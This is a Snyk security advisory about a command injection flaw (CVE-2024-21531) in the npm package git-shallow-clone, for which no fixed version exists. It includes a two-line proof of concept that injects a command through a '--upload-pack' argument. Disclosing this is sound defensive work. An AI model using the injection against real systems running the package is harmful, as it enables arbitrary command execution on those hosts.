Command injection Affecting git-shallow-clone package, versions *
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.04% (11th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JS-GITSHALLOWCLONE-3253853
- published 30 Sep 2024
- disclosed 31 Jan 2023
- credit Liran Tal - Snyk Research Team
Introduced: 31 Jan 2023
CVE-2024-21531 Open this link in a new tabHow to fix?
There is no fixed version for git-shallow-clone
.
Overview
Affected versions of this package are vulnerable to Command injection due to missing sanitization or mitigation flags in the process
variable of the gitShallowClone
function.
PoC
const clone = require('git-shallow-clone')
clone('file:///tmp/a', '--upload-pack=touch pwn0')